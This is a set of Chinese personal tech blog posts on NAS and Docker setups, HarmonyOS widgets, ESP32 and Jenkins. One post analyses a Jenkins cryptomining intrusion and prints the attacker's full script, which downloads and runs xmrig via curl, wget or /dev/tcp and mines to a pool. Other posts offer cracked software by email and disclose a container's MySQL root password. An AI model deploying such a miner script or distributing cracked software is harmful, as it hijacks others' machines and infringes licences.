root.mainloop()

最后，需要打包好的exe程序下方留言邮箱即可

国家公祭日网站变色方法

七仔(Github) — Mon, 13 Dec 2021 02:22:51 GMT

国家公祭日网站变色方法

84年前的今天，侵华日军攻陷南京，短短6周，我们痛失30多万同胞，欢笑和繁华不再，尸横遍野，千年名城沦为“人间地狱”

84年过去，我们从未忘记那段沉痛的记忆，今天，让我们向遇难同胞致哀，向为中国人民抗日战争献出生命的，革命先烈和民族英雄致敬

为了缅怀先烈，铭记历史，网站变为灰色一天

以下是方法

添加下面的<script>到<head>中即可，修改后以后每年都会生效

<script>
    var curDate = new Date();
    var beginDate = new Date(curDate.getFullYear() + '/12/13');
    var endDate = new Date(curDate.getFullYear() + '/12/14');
    if (curDate >= beginDate && curDate <= endDate) {
        document.write("<style>html {filter: progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);-webkit-filter: grayscale(100%);}</style>");
    }
</script>

我的NAS折腾之路（威联通TS-551，不定期更新）

七仔(Github) — Thu, 09 Dec 2021 06:27:20 GMT

我的NAS折腾之路（不定期更新）

前言

入手了一个威联通TS-551的NAS，大概一千三入手

两个2.5寸盘位，三个3.5寸盘位，可以组一个Raid1和一个Raid5

暂时2.5寸盘位塞了一个三星的SSD，旧电脑拆下来的，用它做系统盘

这样的话平常不存取3.5寸盘的数据的话就没有什么声音（3.5寸盘塞了个西数的红盘Plus，有炒豆子的声音）

机器本身有一条宜鼎DDR3L 2G的内存条，买了个协德DDR3L 4G的，发现不兼容，即使单插协德的也不行，后面买了个宇瞻DDR3L 4G的，兼容了，花了一百四（忒贵了）

外网挂载NAS

前提是你有公网ip或者做了内网穿透，这里只是说下挂载软件

首先的话需要提前在NAS上开启WebDav或者FTP

之前用的是RaiDrive，界面很好看，功能也很多，但是只有收费版才能去广告，普通版会有软件内的标题广告，还有右下角弹窗广告（这个弹窗广告火绒去不掉，说是功能性弹窗），这玩意还没有破解版就很难受

后来搞到了破解版的NetDrive2，虽然界面没有上面那个好看，但也算简洁大方了，也支持WebDav和FTP等的挂载

++如果需要这个软件破解版的话可以下方评论区留下邮箱和软件名称，我有时间就会发过去++

放个图

Docker 玩法

一、搭建一个私人签到系统

使用的镜像是a76yyyy/qiandao

这里我还搭建了一个mysql:8.0.26的容器，qiandao系统的数据源就直接放到这里了

里面有很多公共的签到模板，直接使用就可以，也可以上传har格式的文件新建或编辑

二、搭建一个领取Epic每周免费游戏的容器

使用的镜像是luminoleon/epicgames-claimer

每天定时领取E宝的周限免游戏，爽歪歪

(可惜现在已失效，如果还想看到这个“喜加一”的资讯，可以必应搜索“灵卡面板”下载，安装后打开在卡片设计处添加“喜加一资讯”卡片，不仅有Epic的免费游戏，还有Steam的免费游戏）

三、搭建一个智能家居系统(HomeAssistant)

使用的镜像是homeassistant/home-assistant

这是个开源的第三方智能家居系统，可以接入各种品牌的各种智能家居(只要支持)，可以离线运行，有各种各样的界面，这个系统的生态过于庞大，无法几句话讲清楚，有兴趣的话指路国内最大的HomeAssistant论坛：瀚思彼岸，也可以看看我博客的其他文章，也有讲HomeAssistant的

四、搭建一个Minecraft服务器

放一下我的docker-compose配置吧，镜像可以看到我用的是itzg/minecraft-server:java16

version: '3'
services:
  mc-world-servival:
    image: itzg/minecraft-server:java16
    ports:
      - 25565:25565
    volumes:
      - /share/CACHEDEV1_DATA/docker/minecraft/mc-world-servival:/data
    environment:
      - EULA=true
      - TYPE=PAPER
      - VERSION=1.16.5
      - OPS=willminec
      - ONLINE_MODE=FALSE
    container_name: mc-world-servival
    tty: true
    stdin_open: true
    restart: always

我用的是PAPER类型的服务器，适合进行插件的添加，性能优化似乎也更好一下

版本的话选的是1.16.5，相对来说比较新，插件也多一些

五、搭建一个团队笔记服务

使用的镜像是wiznote/wizserver

这是一个国内的公司做的，颜值做的不错，功能做的也挺全的，设备覆盖的也很全

不过后来我还是换回了威联通的Notes，因为发现为知这个docker有一点费cpu，耗个百分之几的样子，我为了mc服务器的流畅就把它停了

最新：已经改为了思源笔记，用起来很不错，感觉我的大部分知识库都搬上去了

使用的镜像是b3log/siyuan

原生应用

一、安装Plex并在树莓派安装kodi的plex插件

1.提前削刮和整理

这里我建议提前使用TinyMediaManager这个软件进行削刮，削刮后使用该软件进行电影电视剧和文件夹的重命名和结构整理

++如果需要这个软件破解版的话可以下方评论区留下邮箱和软件名称，我有时间就会发过去++

2.Plex服务的安装

Plex服务直接在appcenter的娱乐板块直接安装就可以，安装后点击图标打开plex的web页面，在设置处添加资料库，然后等待自动削刮即可，但是可能某些电影或电视剧削刮失败，

3.Kodi的plex插件

直接在插件处搜索plex然后选中第一个直接安装即可，安装后点击进入，然后记住显示的字母，根据提示打开页面输入这串代码以激活

二、关于Plex的https

参考我的这篇博客：https://www.baby7blog.com/myBlog/113.html

关于下载

这块的东西很多人说过了，自带的、迅雷套件、玩物下载、还有qb和tr，我就不说了，这里讲一个针对单个百度网盘文件快速下载的

一、使用油猴插件和aria2下载百度网盘单个文件

4. 修改插件

点击油猴图标然后点击管理面板，然后在列表中找到对应插件，点击右边的编辑，在用户域白名单中加入你的威联通域名或者ip

5. 修改aria2下载设置

(1). 在百度网盘中选择一个文件再点击左上角简易下载助手，点击获取直链地址，点击下方配置aria2，左边地址修改域名为你自己的，例如我的是http://..com:10086/jsonrpc（不要直接复制），右边填写的是【打开自己的aria2->系统设置->ariaNg设置->RPC->AricRPC密钥（没有就自己设置一个）】

(2). 复制插件下方【必须把IDM的UA改为】的右边，然后在自己的aria2->系统设置->Aria2设置->HTTP设置->自定义User Agent中粘贴进去

6. 在插件中点击发送至Aria2即可

关于为知笔记Docker容器的MySQL连接和备份

七仔(Github) — Wed, 08 Dec 2021 07:29:28 GMT

关于为知笔记Docker容器的MySQL连接和备份

过程

进入为知docker容器

docker exec -it 你的容器名称 /bin/bash

进入所需的目录

cd /wiz/app

查看sh文件

cat entrypoint.sh

仔细分析可以看到MySQL的用户名是root，密码是aI9DCyNpEKWe9pn5

结果

最终看到mysql的连接密码为aI9DCyNpEKWe9pn5

根据这个密码可以连接以进行MySQL定时备份，防止笔记丢失

这个是我这个版本的密码，为知可能每个版本变更一次密码，为了防止失效可以参照我上面的步骤取得密码

HarmonyOS - 开发一个微博热搜服务卡片

七仔(Github) — Thu, 05 Aug 2021 03:12:40 GMT

HarmonyOS - 开发一个微博热搜服务卡片

效果图

关键原理

使用JS的服务卡片，相对于Java的服务卡片，JS的服务卡片的支持更加齐全，效果更佳
使用了JS的UI中的List组件显示微博的热搜列表，每个子项包括序号、标题、热度和类型
通过在Ability的onCreateForm(Intent intent)函数中进行热搜的数据分析返回
使用Java的Jsoup包进行网页的html数据获取，再使用其分析出微博的热搜信息

服务卡片的页面和样式

<list class="list">
    <!-- 表头 -->
    <list-item class="list-item">
        <div class="div">
            <text class="item_number" style="color: #999;" >序号</text>
            <text class="item_title" style="color: #999;">关键词</text>
        </div>
    </list-item>
    <!-- 主要内容 -->
    <list-item for="{{cards}}" class="list-item">
        <div class="div">
            <!-- 序号 -->
            <text class="item_number">{{ $item.number }}</text>
            <!-- 标题 -->
            <text class="item_title">{{ $item.title }}</text>
            <!-- 热度 -->
            <text class="item_count">{{ $item.count }}</text>
            <!-- 类型(新/热/商) -->
            <text class="item_type" style="background-color: {{$item.color}};" >{{ $item.type }}</text>
        </div>
    </list-item>
</list>

然后是样式文件

/*列表样式*/
.list{
    align-items:center; /*居中对齐*/
}

/*列表中每个元素的样式*/
.list-item{
    border-radius: 10px; /*圆角*/
    background-color: #f2f2f2; /*背景颜色*/
    margin-bottom: 3px; /*向下间隔*/
}

/*元素中内容的样式*/
.div{
    margin:6px; /*四周边距*/
}

/*元素-序号的样式*/
.item_number {
    font-size: 12px;
    color: #f26d5f;
    width: 30px;
    text-align: left; /*左对齐*/
}

/*元素-标题的样式*/
.item_title{
    font-size: 12px;
    color: #0078b6;
    width: 220px;
    text-align: left;
}

/*元素-热度的样式*/
.item_count{
    font-size: 12px;
    text-align: right; /*右对齐*/
    width: 60px;
    color: #808080;
}

/*元素-类型的样式*/
.item_type{
    margin-left: 5px; /*向左间隔*/
    font-size: 12px;
    text-align: right;
    width: 15px;
    color: #fff;
    border-radius: 2px;
}

接着是js文件

export default {
    data: {
        cards: [
            {
                "number": 1,                        //序号
                "title": "义乌1秒发6只冠军同款 ",     //标题
                "count": 4591790,                   //热度
                "type": "新",                       //类型(新/热/商)
                "color": "#f2f2f2"                  //类型的颜色
            }
        ]
    }
}

Java端进行网页请求和分析出微博热搜信息

首先需要引入一个包Jsoup，含有网页请求和网页分析的工具

compile 'org.jsoup:jsoup:1.12.1'

然后写一个获取微博热搜的工具类

import org.jsoup.Jsoup;
import org.jsoup.internal.StringUtil;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.select.Elements;

import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 获取微博热搜信息工具
 */
public class GetWeiboListUtil {

    // 微博热搜地址
    private static final String URL = "https://s.weibo.com/top/summary?cate=realtimehot";

    public static List<Map<String, String>> getWeiboList() {
        List<Map<String, String>> weiboList = new ArrayList<>();
        try {
            // 使用Jsoup进行网页请求
            Document document = Jsoup.connect(URL).get();
            // 开始分析HTML
            Element plTopRealTimeHot = document.getElementById("pl_top_realtimehot");
            Elements tBody = plTopRealTimeHot.children().get(0).children().get(1).children();
            for (Element element : tBody) {
                String number = element.children().get(0).text();
                if (StringUtil.isBlank(number)) {
                    number = "↑";
                }
                String title = element.children().get(1).children().get(0).text();
                String count = "";
                if (element.children().get(1).children().size() > 1) {
                    count = element.children().get(1).children().get(1).text();
                }
                String type = element.children().get(2).text();
                String color = "";
                // 根据类型打上颜色
                if (!StringUtil.isBlank(type)) {
                    switch (type) {
                        case "热": color = "#ff9406";break;
                        case "新": color = "#ff3852";break;
                        case "商": color = "#00b7ee";break;
                    }
                }
                Map<String, String> weiboItem = new HashMap<>();
                weiboItem.put("number", number);
                weiboItem.put("title", title);
                weiboItem.put("count", count);
                weiboItem.put("type", type);
                weiboItem.put("color", color);
                weiboList.add(weiboItem);
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
        return weiboList;
    }
}

然后是实现Ability的创建事件

import ***.GetWeiboListUtil;
import ohos.aafwk.ability.AbilitySlice;
import ohos.aafwk.ability.FormBindingData;
import ohos.aafwk.ability.ProviderFormInfo;
import ohos.ace.ability.AceAbility;
import ohos.aafwk.content.Intent;
import ohos.utils.zson.ZSONArray;
import ohos.utils.zson.ZSONObject;

import java.util.ArrayList;
import java.util.List;

public class MainAbility extends AceAbility {

    // UI侧列表名称
    private static final String LIST_NAME = "cards";
    // 卡片类型4*4
    private static final int DEFAULT_DIMENSION_4X4 = 4;

    @Override
    public void onStart(Intent intent) {
        super.onStart(intent);
    }

    @Override
    public void onStop() {
        super.onStop();
    }

    @Override
    protected ProviderFormInfo onCreateForm(Intent intent) {
        String formName = intent.getStringParam(AbilitySlice.PARAM_FORM_NAME_KEY);
        int dimension = intent.getIntParam(AbilitySlice.PARAM_FORM_DIMENSION_KEY, DEFAULT_DIMENSION_4X4);
        if (formName.equals("widget") && dimension == DEFAULT_DIMENSION_4X4) {
            ProviderFormInfo providerFormInfo = new ProviderFormInfo();
            ZSONObject zsonObject = new ZSONObject();
            List<Object> weiboList = new ArrayList<>(GetWeiboListUtil.getWeiboList());
            ZSONArray zsonArray = new ZSONArray(weiboList);
            zsonObject.put(LIST_NAME, zsonArray);
            providerFormInfo.setJsBindingData(new FormBindingData(zsonObject));
            return providerFormInfo;
        }
        return null;
    }

    @Override
    protected void onUpdateForm(long formId) {
        super.onUpdateForm(formId);
    }

    @Override
    protected void onDeleteForm(long formId) {
        super.onDeleteForm(formId);
    }
}

Jenkins容器遭到挖矿程序入侵后的梳理和解决

七仔(Github) — Mon, 02 Aug 2021 08:55:56 GMT

Jenkins容器遭到挖矿程序入侵后的梳理和解决

起因

服务器CPU达到100%居高不下，查询时间发现情况持续了不止一天

揪出来原因

通过定位发现占用CPU的是Jenkins的Docker容器，使用命令进入容器

docker exec -it jenkins-server /bin/bash

然后使用

pa -aux

发现有一个程序占用异常的高

./trace -r 2 -R 2 --keepalive --no-color --donate-level 1 --max-cpu-usage 100 --cpu-priority 3 --print-time 25 --threads 1 --url pool.minexmr.com:4444 --user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku --pass x --keepalive

和他同一时间启动的还有一个脚本

/bin/bash /tmp/jenkins6638567374534053250.sh

找到这个文件看看（不要自己运行）:

#!/bin/bash

if [[ $(whoami) != "root" ]]; then
    for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
        kill -9 $tr || : ;
    done;
fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";

_curl () {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

rm -rf config.json;

d () {
        curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $                     2;
}


test ! -s trace && \
    d https://github.com/xmrig/xmrig/releases/download/v6.4.0/xmrig-6.4.0-linux-x64.tar.gz trace.tgz && \
    tar -zxvf trace.tgz && \
    mv xmrig-6.4.0/xmrig trace && \
    rm -rf xmrig-6.4.0 && \
    rm -rf trace.tgz;

test ! -x trace && chmod +x trace;

k() {
    ./trace \
        -r 2 \
        -R 2 \
        --keepalive \
        --no-color \
        --donate-level 1 \
        --max-cpu-usage 100 \
        --cpu-priority 3 \
        --print-time 25 \
        --threads ${threadCount:-4} \
        --url $1 \
        --user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku \
        --pass x \
        --keepalive
}

k pool.minexmr.com:4444

github项目的地址是一个挖矿程序，https://minexmr.com网址打开后发现是一个门罗币的矿池，脚本原理应该很清晰了：

首先通过https://github.com/xmrig/xmrig/releases/download/v6.4.0/xmrig-6.4.0-linux-x64.tar.gz下载挖矿程序
然后解压启动里面的trace挖矿主程序
挖矿的通信地址是pool.minexmr.com:4444

这是一个比较通用的脚本，只需要在这个矿池注册账号拿到(--user)后面的东西就可以替换运行

入侵方式猜测

应该是Jenkins的漏洞，根据搜索引擎的帮助，可能是通过穷举法暴力破解Jenkins的密码进行注入

操作和防范

首先删除workspace目录下多出来的那个目录securejenkins，然后kill掉那两个进程

登录Jenkins修改了下授权策略（之前忘了密码所以修改这个来修改密码但是忘了改回来），改为[登录用户可以做任何事]

Maven项目转换为Gradle项目

七仔(Github) — Tue, 27 Jul 2021 05:54:59 GMT

Maven项目转换为Gradle项目

首先安装配置好Gradle

然后cd到项目根目录下，使用Gradle的工具进行转换：

输入命令

gradle init --type pom

然后修改下源：

将build.gradle文件中的repositories这一块替换为：

repositories {
    maven {
        url "http://maven.aliyun.com/nexus/content/groups/public"
    }
    maven { 
        url "https://repo.eclipse.org/content/repositories/paho-releases/"
    }
    google()
    mavenLocal()
    mavenCentral()
    jcenter()
}

之后使用IDEA的[Reload All Gradle Projects]加载下包就可以了

Jenkins中BlueOcean的使用

七仔(Github) — Tue, 27 Jul 2021 03:39:51 GMT

Jenkins中BlueOcean的使用

介绍

Jenkins是一个独立的开源自动化服务器，可用于自动化各种任务，如构建，测试和部署软件。 BlueOcean是Jenkins中的一个插件，相对于原生的Jenkins界面，BlueOcean的配置和使用的界面更加清爽。

安装

在Jenkins的菜单栏的[系统管理]->[插件管理]->[可选插件]中搜索Blue Ocean进行安装，安装后重新启动Jenkins，操作如图:

使用

重启后可以在菜单栏看到[打开Blue Ocean]

新建一个项目后输入项目git地址，之后会提交git，内容是一个Jenkinsfile，会放到项目的根路径，BlueOcean就是根据这个Jenkinsfile进行构建

后面可以使用Blue Ocean的界面进行配置，也可以直接修改Jenkinsfile

这里贴出来我的Jenkinsfile，只做了代码拉取和项目构建，后续会继续更新

pipeline {
  agent any
  stages {
    stage('pull code') {
      steps {
        git(branch: 'main', url: 'https://github.com/baby7/baby7-blog-server.git')
      }
    }
    stage('build') {
      steps {
        withGradle() {
          sh '''chmod 777 gradlew
./gradlew build'''
        }
      }
    }
  }
}

关于Jenkinsfile的使用可以参考Blue Ocean文档

使用MircoPython在ESP32的OLED屏幕上显示个小电视

七仔(Github) — Sun, 11 Jul 2021 08:26:58 GMT

使用MircoPython在ESP32的OLED屏幕上显示个小电视

一、展示

是拿几根线组合出来的，随便画了画，作用相当于个Hello World

二、材料：

ESP32（使用MircoPython的固件）
0.96寸OLED屏幕（4口）和杜邦线若干

三、ESP32和OLED屏幕的连接

ESP端屏幕端

3V3 ---------- VCC

GEN ---------- GEN

D4 ---------- SDA

D5 ---------- SCL

四、源码

main.py

from machine import I2C, Pin, RTC
from ssd1306 import SSD1306_I2C

i2c = I2C(1, scl=Pin(5), sda=Pin(4), freq=40000)
oled = SSD1306_I2C(128, 64, i2c)
rtc = RTC()
# 上面横线
oled.line(10, 10, 117, 10, 1)
# 右上角斜线
oled.line(117, 10, 127, 20, 1)
# 右边竖线
oled.line(127, 20, 127, 53, 1)
# 右下角斜线
oled.line(127, 53, 117, 63, 1)
# 下面横线
oled.line(10, 63, 117, 63, 1)
# 左下角斜线
oled.line(0, 53, 10, 63, 1)
# 左边竖线
oled.line(0, 20, 0, 53, 1)
# 左上角斜线
oled.line(10, 10, 0, 20, 1)
# 天线左
oled.line(32, 0, 42, 10, 1)
# 天线右边
oled.line(92, 0, 82, 10, 1)
# 眼睛左边
oled.line(42, 20, 22, 30, 1)
# 眼睛右边
oled.line(82, 20, 102, 30, 1)
# 嘴1
oled.line(42, 40, 51, 50, 1)
# 嘴2
oled.line(51, 50, 60, 40, 1)
# 嘴3
oled.line(60, 40, 69, 50, 1)
# 嘴4
oled.line(69, 50, 78, 40, 1)
oled.show()

ssd1306.py

# MicroPython SSD1306 OLED driver, I2C and SPI interfaces

import time
import framebuf

# register definitions
SET_CONTRAST = const(0x81)
SET_ENTIRE_ON = const(0xa4)
SET_NORM_INV = const(0xa6)
SET_DISP = const(0xae)
SET_MEM_ADDR = const(0x20)
SET_COL_ADDR = const(0x21)
SET_PAGE_ADDR = const(0x22)
SET_DISP_START_LINE = const(0x40)
SET_SEG_REMAP = const(0xa0)
SET_MUX_RATIO = const(0xa8)
SET_COM_OUT_DIR = const(0xc0)
SET_DISP_OFFSET = const(0xd3)
SET_COM_PIN_CFG = const(0xda)
SET_DISP_CLK_DIV = const(0xd5)
SET_PRECHARGE = const(0xd9)
SET_VCOM_DESEL = const(0xdb)
SET_CHARGE_PUMP = const(0x8d)


class SSD1306:
    def __init__(self, width, height, external_vcc):
        self.width = width
        self.height = height
        self.external_vcc = external_vcc
        self.pages = self.height // 8
        # Note the subclass must initialize self.framebuf to a framebuffer.
        # This is necessary because the underlying data buffer is different
        # between I2C and SPI implementations (I2C needs an extra byte).
        self.poweron()
        self.init_display()

    def init_display(self):
        for cmd in (
                SET_DISP | 0x00,  # off
                # address setting
                SET_MEM_ADDR, 0x00,  # horizontal
                # resolution and layout
                SET_DISP_START_LINE | 0x00,
                SET_SEG_REMAP | 0x01,  # column addr 127 mapped to SEG0
                SET_MUX_RATIO, self.height - 1,
                SET_COM_OUT_DIR | 0x08,  # scan from COM[N] to COM0
                SET_DISP_OFFSET, 0x00,
                SET_COM_PIN_CFG, 0x02 if self.height == 32 else 0x12,
                # timing and driving scheme
                SET_DISP_CLK_DIV, 0x80,
                SET_PRECHARGE, 0x22 if self.external_vcc else 0xf1,
                SET_VCOM_DESEL, 0x30,  # 0.83*Vcc
                # display
                SET_CONTRAST, 0xff,  # maximum
                SET_ENTIRE_ON,  # output follows RAM contents
                SET_NORM_INV,  # not inverted
                # charge pump
                SET_CHARGE_PUMP, 0x10 if self.external_vcc else 0x14,
                SET_DISP | 0x01):  # on
            self.write_cmd(cmd)
        self.fill(0)
        self.show()

    def poweroff(self):
        self.write_cmd(SET_DISP | 0x00)

    def contrast(self, contrast):
        self.write_cmd(SET_CONTRAST)
        self.write_cmd(contrast)

    # 翻转颜色
    def invert(self, invert):
        self.write_cmd(SET_NORM_INV | (invert & 1))

    def show(self):
        x0 = 0
        x1 = self.width - 1
        if self.width == 64:
            # displays with width of 64 pixels are shifted by 32
            x0 += 32
            x1 += 32
        self.write_cmd(SET_COL_ADDR)
        self.write_cmd(x0)
        self.write_cmd(x1)
        self.write_cmd(SET_PAGE_ADDR)
        self.write_cmd(0)
        self.write_cmd(self.pages - 1)
        self.write_framebuf()

    # 填充画面 0为空 1为亮
    def fill(self, col):
        self.framebuf.fill(col)

    # 填充一个像素在X,YE
    def pixel(self, x, y, col):
        self.framebuf.pixel(x, y, col)

    # 滚动
    def scroll(self, dx, dy):
        self.framebuf.scroll(dx, dy)

    # 文本
    def text(self, string, x, y, col=1):
        self.framebuf.text(string, x, y, col)

    def line(self, x1, y1, x2, y2, col=1):
        self.framebuf.line(x1, y1, x2, y2, col)

    def line(self, x1, y1, x2, y2, col=1):
        self.framebuf.line(x1, y1, x2, y2, col)


class SSD1306_I2C(SSD1306):
    def __init__(self, width, height, i2c, addr=0x3c, external_vcc=False):
        self.i2c = i2c
        self.addr = addr
        self.temp = bytearray(2)
        # Add an extra byte to the data buffer to hold an I2C data/command byte
        # to use hardware-compatible I2C transactions.  A memoryview of the
        # buffer is used to mask this byte from the framebuffer operations
        # (without a major memory hit as memoryview doesn't copy to a separate
        # buffer).
        self.buffer = bytearray(((height // 8) * width) + 1)
        self.buffer[0] = 0x40  # Set first byte of data buffer to Co=0, D/C=1
        self.framebuf = framebuf.FrameBuffer1(memoryview(self.buffer)[1:], width, height)
        super().__init__(width, height, external_vcc)

    def write_cmd(self, cmd):
        self.temp[0] = 0x80  # Co=1, D/C#=0
        self.temp[1] = cmd
        self.i2c.writeto(self.addr, self.temp)

    def write_framebuf(self):
        # Blast out the frame buffer using a single I2C transaction to support
        # hardware I2C interfaces.
        self.i2c.writeto(self.addr, self.buffer)

    def poweron(self):
        pass


class SSD1306_SPI(SSD1306):
    def __init__(self, width, height, spi, dc, res, cs, external_vcc=False):
        self.rate = 10 * 1024 * 1024
        dc.init(dc.OUT, value=0)
        res.init(res.OUT, value=0)
        cs.init(cs.OUT, value=1)
        self.spi = spi
        self.dc = dc
        self.res = res
        self.cs = cs
        self.buffer = bytearray((height // 8) * width)
        self.framebuf = framebuf.FrameBuffer1(self.buffer, width, height)
        super().__init__(width, height, external_vcc)

    def write_cmd(self, cmd):
        self.spi.init(baudrate=self.rate, polarity=0, phase=0)
        self.cs.high()
        self.dc.low()
        self.cs.low()
        self.spi.write(bytearray([cmd]))
        self.cs.high()

    def write_framebuf(self):
        self.spi.init(baudrate=self.rate, polarity=0, phase=0)
        self.cs.high()
        self.dc.high()
        self.cs.low()
        self.spi.write(self.buffer)
        self.cs.high()

    def poweron(self):
        self.res.high()
        time.sleep_ms(1)
        self.res.low()
        time.sleep_ms(10)
        self.res.high()

HarmonyOS实现MQTT消息监听展示

七仔(Github) — Tue, 29 Jun 2021 08:56:53 GMT

HarmonyOS实现MQTT消息监听展示

思路

因为harmonyOS暂时没有发现现成的mqtt的js包，所以使用Java进行Mqtt消息的接收，使用JS去定时调用Java接收到消息并展示首先是JS调用Java，JS FA(Feature Ability)调用Java PA(Particle Ability)有两种方式，Ability和Internal Ability，这里使用的是第一种Ability 然后是Java端的Mqtt消息接收，使用paho的第三方库进行消息接收，页面启动时JS端调用Java端实现Mqtt消息接收开始，使用异步挂起，接收消息并缓存，随后JS端每次调用Java端拿到的都是最新缓存的信息

具体代码

hml页面：

<div class="container">
    <div>
        <text class="title">
            {{ title }}
        </text>
    </div>
    <div>
        <text class="title" onclick="mqttMessage">
            开始mqtt
        </text>
    </div>
    <div>
        <text class="title" onclick="stopMqtt">
            停止mqtt
        </text>
    </div>
</div>

JS代码：

const ABILITY_TYPE_EXTERNAL = 0;
const ACTION_SYNC = 0;
const ACTION_MESSAGE_CODE_START_MQTT = 1001;
const ACTION_MESSAGE_CODE_MQTT_MESSAGE = 1002;
const BUNDLE_NAME = 'com.example.mqttapplication';
const ABILITY_NAME = 'com.example.mqttapplication.PlayAbility';

export const playAbility = {
    startMqtt: async function() {
        FeatureAbility.callAbility({
            messageCode: ACTION_MESSAGE_CODE_START_MQTT,
            abilityType: ABILITY_TYPE_EXTERNAL,
            syncOption: ACTION_SYNC,
            bundleName: BUNDLE_NAME,
            abilityName: ABILITY_NAME
        });
    },
    mqttMessage: async function(that) {
        var result = await FeatureAbility.callAbility({
            messageCode: ACTION_MESSAGE_CODE_MQTT_MESSAGE,
            abilityType: ABILITY_TYPE_EXTERNAL,
            syncOption: ACTION_SYNC,
            bundleName: BUNDLE_NAME,
            abilityName: ABILITY_NAME
        });
        var ret = JSON.parse(result);
        if (ret.code == 0) {
            console.info('mqtt is:' + JSON.stringify(ret.abilityResult));
            that.title = 'mqtt is:' + JSON.stringify(ret.abilityResult);
        } else {
            console.error('mqtt error code:' + JSON.stringify(ret.code));
        }
    }
}
export default {
    data: {
        title: "",
        timer: null
    },
    task() {
        playAbility.mqttMessage(this);
    },
    mqttMessage() {
        this.title = "开始获取MQTT消息";
        this.task()
        this.timer=setInterval(this.task,200)
    },
    stopMqtt() {
        clearInterval(this.timer)
    }
}
//初始化Java端Mqtt消息接收
playAbility.startMqtt()

Java端代码(接收Mqtt消息，异步)

import org.eclipse.paho.client.mqttv3.*;
import org.eclipse.paho.client.mqttv3.MqttMessage;
import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;

import java.util.List;


public class MqttThread implements Runnable {

    /**地址*/
    public static final String MQTT_BROKER_HOST = "tcp://xxx.xxx.xxx.xxx:1883";
    /**客户端唯一标识*/
    public static final String MQTT_CLIENT_ID = "client";
    /**订阅标识*/
    public static final String MQTT_TOPIC = "HarmonyTest";
    /**客户端*/
    private volatile static MqttClient mqttClient;
    /**连接选项*/
    private static MqttConnectOptions options;
    /**消息*/
    private final List<String> message;

    public MqttThread(List<String> message) {
        this.message = message;
    }

    public void run() {
        try {
            mqttClient = new MqttClient(MQTT_BROKER_HOST, MQTT_CLIENT_ID, new MemoryPersistence());
            options = new MqttConnectOptions();
            options.setCleanSession(true);
            options.setConnectionTimeout(20);
            options.setKeepAliveInterval(20);
            mqttClient.connect(options);
            mqttClient.subscribe(MQTT_TOPIC);
            mqttClient.setCallback(new MqttCallback() {
                @Override
                public void connectionLost(Throwable throwable) { }
                @Override
                public void messageArrived(String s, MqttMessage mqttMessage) {
                    message.clear();
                    message.add(mqttMessage.toString());
                    System.out.println("接收到mqtt消息：" + mqttMessage.toString());
                }
                @Override
                public void deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) { }
            });
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Java端代码(Particle Ability)

import com.example.mqttapplication.mqtt.MqttThread;
import ohos.aafwk.ability.Ability;
import ohos.aafwk.content.Intent;
import ohos.hiviewdfx.HiLog;
import ohos.hiviewdfx.HiLogLabel;
import ohos.rpc.*;
import ohos.utils.zson.ZSONObject;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class PlayAbility extends Ability {

    static final HiLogLabel label = new HiLogLabel(HiLog.LOG_APP, 1, "MY_TAG");

    private static final int ERROR = -1;
    private static final int SUCCESS = 0;
    private static final int START_MQTT = 1001;
    private static final int MQTT_MESSAGE = 1002;

    @Override
    protected void onStart(Intent intent) {
        super.onStart(intent);
    }

    @Override
    protected IRemoteObject onConnect(Intent intent) {
        super.onConnect(intent);
        PlayRemote remote = new PlayRemote();
        return remote.asObject();
    }

    static class PlayRemote extends RemoteObject implements IRemoteBroker {

        private List<String> message;

        private Thread thread;

        public PlayRemote() {
            super("PlayRemote");
        }

        @Override
        public boolean onRemoteRequest(int code, MessageParcel data, MessageParcel reply, MessageOption option) {
            // 开始mqtt
            else if (code == START_MQTT) {
                Map<String, Object> result = new HashMap<>();
                result.put("code", SUCCESS);
                result.put("abilityResult", "成功开始mqtt");
                try {
                    message = new ArrayList<>();
                    MqttThread mqttThread = new MqttThread(message);
                    thread = new Thread(mqttThread);
                    thread.start();
                    System.out.println("mqtt启动成功");
                }
                catch (Exception e) {
                    result.put("code", ERROR);
                    result.put("abilityResult", "启动失败");
                }
                reply.writeString(ZSONObject.toZSONString(result));
            }
            // 获取mqtt消息
            else if (code == MQTT_MESSAGE) {
                Map<String, Object> result = new HashMap<>();
                result.put("code", SUCCESS);
                if (message.isEmpty()) {
                    result.put("abilityResult", "未接收到MQTT消息");
                }
                else {
                    ZSONObject zsonObject = ZSONObject.stringToZSON(message.get(0));
                    result.put("abilityResult", zsonObject.getString("message"));
                }
                reply.writeString(ZSONObject.toZSONString(result));
            }
            else {
                Map<String, Object> result = new HashMap<>();
                result.put("abilityError", ERROR);
                reply.writeString(ZSONObject.toZSONString(result));
                return false;
            }
            return true;
        }

        @Override
        public IRemoteObject asObject() {
            return this;
        }
    }
}

另外启动网络连接还需要往config.json里加点东西获取权限

{
  ...
  "module": {
    ...
    "reqPermissions": [
